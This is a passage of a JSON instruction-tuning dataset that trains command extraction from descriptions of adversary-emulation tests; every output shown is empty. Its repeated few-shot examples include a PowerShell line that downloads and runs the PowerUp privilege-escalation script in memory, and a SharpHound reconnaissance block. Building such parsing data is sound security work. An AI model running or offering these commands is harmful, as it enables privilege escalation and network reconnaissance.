`\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test simulates an adversary leveraging Web Shells by simulating the file modification to disk.\nIdea from APTSimulator.\ncmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The adversaries want to add service principal to some Azure AD role. Threat actor \nmay be interested primarily in highly privileged roles, e.g. Global Administrator, Application Administrator, \nPrivileged Authentication Administrator (this role can reset Global Administrator password!).\nBy default, the role Global Reader is assigned to service principal in this test.\n\nThe account you use to run the PowerShell command should have Privileged Role Administrator or Global Administrator role in your Azure AD.\n\nDetection hint - check Activity \"Add member to role\" in Azure AD Audit Logs. In targer you will also see Service Principal as a type.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Creates a snapshot of a persistent disk in GCP using the gcloud CLI.\nEmulates adversary behavior to gain access to volume data or replicate environment state.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test encrypts the file(s) using the openssl utility\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary might use WMI to list all local User Accounts. \nWhen the test completes , there should be local user accounts information displayed on the command line.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module attempts to emulate malware authors utilizing well known techniques to extract data from memory/binary files. To do this\nwe first create a string in memory then pull out the pointer to that string. Finally, it uses this pointer to copy the contents of that\nmemory location to a file stored in the $env:TEMP\\atomic_t1059_005_test_output.bin.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.\nIf the password is succesfully changed to the new password, the credential file will be updated to reflect the new password.  You can then run the atomic manually and specify a new password of your choosing, however the\npassword policy will likely prevent you from setting the password back to what it was.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. \nOnce the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. \nSee https://github.com/cyberark/SkyArk \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English 